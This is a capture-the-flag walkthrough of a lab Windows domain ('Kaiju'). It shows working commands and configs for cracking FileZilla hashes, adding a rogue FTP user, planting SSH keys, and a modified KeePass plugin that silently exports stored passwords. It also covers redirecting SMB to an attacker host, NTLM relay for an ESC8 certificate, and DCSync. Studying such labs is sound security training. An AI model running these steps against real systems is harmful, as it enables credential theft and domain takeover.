**Kaiju” is a Hard chain made up of three Windows machines, where you have to exploit various advanced techniques to compromise the domain.
Initial access is gained through the use of default credentials on an FTP server, retrieving files that give an insight into how administrators construct their passwords.
By building a wordlist from this information, it is possible to compromise the backup account, which provides SSH access to the machine.
Then, by browsing the FileZilla FTP server logs, we retrieve the password for the FTP application’s administrator account, enabling us to add an account with write access to all the machine’s directories. This allows us to add our SSH key to the sasrv200 directory and use this account to connect via SSH.
As this account also has write access to the KeePass folder, we place a malicious plug-in there to automatically export the manager’s passwords when it’s unlocked.
In this way, we recover the password of a domain account, which we can use to carry out a ESC8 attack and compromise the domain.

Initial access

After the nmap scan, we identify that the only port that can be exploited is the ftp port on one of the machines. Thus, by testing the default ftp credentials with the https://github.com/1N3/BruteX/blob/master/wordlists/ftp-default-userpass.txt wordlist, we discover that the ftp:ftp credentials are valid.

Next, a scan of the accessible directories reveals several files that appear to contain passwords. These files, although not directly usable, show that administrators often use the same structure to construct their passwords

We also discover a keepass file used by IT, but unfortunately it’s not directly exploitable and impossible to break using conventional wordlists.

Continuing with the enumeration of files, we discover a users.xml file, used by filezilla to store user information, in particular password hashes.

This file can be used to retrieve the password hash of the backup account. By building a wordlist based on the way administrators construct their passwords, it is possible to break the hash retrieved.

This then allows you to compromise the backup account and gain initial ssh access, as the latter has the right to ssh onto the machine.

FileZilla server exploit

Once you’ve compromised the backup account, you can enumerate and try to identify which user is running the FileZilla service. To do this, start by identifying the registry associated with the service with the following command:

1
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\

We can then retrieve the information by querying the registry. This will identify that filezilla is running as account sasrv200.

By browsing the filezilla logs, you can find an install.log file containing the hash of the filezilla application administrator account identifiers

1
2
3
4
5
6
delete file: C:\Users\ADMINI~1\AppData\Local\Temp\1\nsxEDF4.tmp
Crypt output: [--admin.password@index=1 --admin.password.hash=mSbrgj1R6oqMMSk4Qk1TuYTchS5r8Yk3Y5vsBgf2tF8 --admin.password.salt=AdRNx7rAs1CEM23S5Zp7NyAQYHcuo2LuevU3pAXKB18 --admin.password.iterations=100000]
=====================================
Take note of the FileZilla Server Administration Interface TLS fingerprints:
SHA256 certificate fingerprint: 72:30:ea:81:80:0f:33:99:cc:70:52:1e:7c:bc:6f:ba:2c:4d:4b:0d:6f:bc:fe:61:7e:e6:c1:06:38:d5:3d:9d

With the wordlist built above, we can easily break this password.

As the service is only accessible locally, we’ll need to do some port forwarding in order to access it from our machine.

1
2
──(kali㉿kali)-[~/ctf/vulnlab/kaiju]
└─$ ssh [email protected] -L 127.0.0.1:1337:127.0.0.1:14148

Then, on our machine, we need to install the filezilla server after having installed the corresponding packet.

1
sudo dpkg -i FileZilla_Server_1.10.5_x86_64-linux-gnu.deb

At first, as the version I had installed didn’t match the version running on the server, I couldn’t launch the application.

To correct this problem, I first identified the application version on the server with the following command:

1
2
3
4
5
6
backup@BERSRV200 E:\Program Files\FileZilla Server>powershell -c "Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FileZilla Server' | Select-Object DisplayVersion

DisplayVersion
--------------
1.8.0

Then I used a mirror site to retrieve an older version:

1
https://www.fileeagle.com/software/download/18640/53a71f

Then I could launch filezilla with the following command:

1
/opt/filezilla-server/bin/filezilla-server-gui

By specifying the right parameters, I was able to connect to the application, but every time I tried to modify the configuration, I got the following error.

From what I’ve read, the error is due to the fact that I’m using filezilla-server on linux, whereas the machine running filezilla-server is on windows.
To get around the problem, I manually imported the configuration by importing the configuration below, which adds a pentest account to the ftp server with read rights on all directories that the service could access.

1
2
3
4
5
6
7
8
9
10
11
12
13
<user name="pentest" enabled="true">
        <mount_point tvfs_path="/" access="1" native_path="" new_native_path="C:\Users" recursive="2" flags="0" />
        <rate_limits inbound="unlimited" outbound="unlimited" session_inbound="unlimited" session_outbound="unlimited" />
        <allowed_ips></allowed_ips>
        <disallowed_ips></disallowed_ips>
        <session_open_limits files="unlimited" directories="unlimited" />
        <session_count_limit>unlimited</session_count_limit>
        <description>This user can impersonate any system user.</description>
        <impersonation login_only="true" />
        <password index="0" />
        <methods>0</methods>
</user>

To connect, I used lftp, a utility that lets you connect to ftp servers with additional features such as remote file reading. When connecting, I encountered a certificate problem that prevented me from enumerating the files in the directory.

1
2
3
4
5
6
└─$ lftp 10.10.196.102
lftp 10.10.196.102:~> LOGIN pentest
Password: 
lftp [email protected]:~> ls
ls: Fatal error: Certificate verification: The certificate is NOT trusted. The certificate issuer is unknown. The certificate chain uses expired certificate.  (AD:85:50:B5:08:9E:34:A7:8B:B9:D8:EF:3A:67:66:8C:C3:DC:55:02)

The problem can be solved with the following command:

1
set ssl:verify-certificate no

This allowed me to access the sasrv200 directory

To obtain ssh access to this account, I generated my rsa key with the following command

1
ssh-keygen -t rsa -b 4096

Then I transferred it to the ssh folder.

1
2
lftp [email protected]:/sasrv200/.ssh> put /home/kali/.ssh/id_rsa.pub
739 bytes transferred

This allowed me to access the machine with the sasrv200 account

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/ctf/vulnlab/kaiju]
└─$ ssh [email protected]                         
Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

kaiju\sasrv200@BERSRV200 C:\Users\sasrv200>

Keepass export

After obtaining a shell as sasrv200, I ran the privescheck.ps1 script. This enabled me to identify that the account I had had write access to all the files in the Keepass folder.

I then decided to check whether a keepass process was running in order to exploit the possible modification of the keepass.exe file.

1
2
3
4
5
6
7
while ($true) {
    Clear-Host
    Write-Host "Monitoring running processes containing 'keepass':"
    $Process = Get-Process | Where-Object { $_.ProcessName -like '*keepass*' }
    $Process | Format-Table -AutoSize
    Start-Sleep -Seconds 1
}

After running the commands below for a few minutes, I noticed that a keepass process was running regularly.

To exploit this vulnerability, I first tried to replace the keepass.exe file with a malicious executable in order to obtain a reverse shell. However, this method failed due to the antivirus, which I couldn’t disable.

After some research into the various ways of exploiting the opening of a KeePass file, I discovered that it was possible, if you have editing rights to the Plugins folder, to place a module there that will export all passwords when KeePass is opened. I used the KeeFarceRebornPlugin plugin for this. As exporting passwords is an action that the user can legitimately perform, this plugin is not detected as malicious by the antivirus.

Before using it, I modified the plugin to disable the dialog boxes that appeared during export and to change the destination path of the generated files.

Then I compiled the plugin using visualstudio and transferred it to the machine.

1
2
3
─(kali㉿kali)-[~/ctf/vulnlab/kaiju]
└─$ scp /home/kali/chemse-website/share/KeeFarceRebornPlugin.dll [email protected]:'E:\Public\Software\KeePass2\Plugins'
KeeFarceRebornPlugin.dll

I also modified the keepass.config.xml file on the target machine to ensure that plugins and exports were enabled on launch.

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ cat KeePass.config.xml 
<?xml version="1.0" encoding="utf-8"?>
<Configuration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <Meta>
                <PreferUserConfiguration>true</PreferUserConfiguration>
        </Meta>
<Policy>
        <Plugins>true</Plugins>
        <Export>true</Export>
</Policy>

</Configuration>

After a few minutes of waiting, we obtain an export.xml file in the destination folder we had specified.

In this file, you can retrieve the plaintext password of the machine’s local administrator account.

Using this identifier, we can retrieve the machine’s LSA database and obtain the domain accounts of sasrv200 and clare.frost.

ESC8

With the domain accounts recovered, I ran BloodHound to identify potential privilege escalation vectors, but none were detected.
I then decided to enumerate the various certification authorities to spot possible misconfigurations.
The analysis performed with Certipy revealed that the two certification authorities present were vulnerable to the ESC8 attack.

ESC8 attack overview

ESC8 is a critical ADCS vulnerability targeting web enrollment interfaces, making them vulnerable to NTLM Relay attacks.
In cases where **HTTPS is not enforced** and the certification authority supports machine or user authentication, it is possible to impersonate any user and escalate his or her privileges.
This attack can target any machine in the domain, including domain controllers.

ADCS web enrolment architecture

Web enrolment is an optional ADCS option that exposes an HTTP interface on /certsrv, allowing users to :

  • Request a certificate from a browser
  • Renew a certificate
  • Download CA certificates or a CRL (list of certificates issued by the CA but no longer valid)

Although convenient, this web portal becomes a critical vulnerability when :

  • It accepts NTLM authentication
  • CA authorizes enrollment of privileged certificate templates
  • No protection against NTLM Relay is in place

How the attack works

  1. A user provides credentials or a certificate via the web interface.
  2. The CA checks the user’s permissions on the certificate template.
  3. If they are valid, the CA issues a certificate.
  4. The attacker can then use this certificate to authenticate via PKINIT (Kerberos with certificate authentication).

Most of the time, to exploit this attack one uses coercion attacks such as PetitPotam or DFSCoerce, so I started by checking whether DCs were vulnerable to these attacks.

Since domain controllers can’t reach our machine directly, there are two possible approaches to exploiting this vulnerability:

  • Install certipy.exe on a compromised machine** in order to recover authentication attempts obtained via coerce attacks.
    However, to use this method, it is necessary to completely disable SMB on the compromised machine, which can cause significant malfunctions. This approach is therefore not really feasible for realistic penetration testing.
  • Use StreamDivert**, a tool that redirects all requests destined for one machine to another.

I chose to use the second method, as it is much more realistic.
To do this, I created a configuration file that redirects all requests destined for the SMB port of the compromised machine to my attacking machine.

1
2
3
┌──(kali㉿kali)-[~/ctf/vulnlab/kaiju]
└─$ cat config.txt                                  
tcp < 445 0.0.0.0 -> 10.8.6.80 445

I then ran the executable with the following command:

1
2
administrator@BERSRV200 C:\temp>StreamDivert.exe config.txt -f -v

I checked that the configuration was working correctly by running Responder and exploiting PetitPotam.
After triggering the attack, I got an authentication attempt from the domain controller, confirming that the redirection was working correctly.

Next, to exploit ESC8, I used ntlmrelayx with the following command to retrieve a certificate as a domain controller.

1
proxychains -q impacket-ntlmrelayx -t http://10.10.216.101/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'

After using petitpotam, I was able to retrieve a .pfx from the domain’s machine account.

Finally, I compromised the domain by performing a DCSync attack, taking advantage of the fact that domain controller machine accounts have the necessary rights for directory replication by default.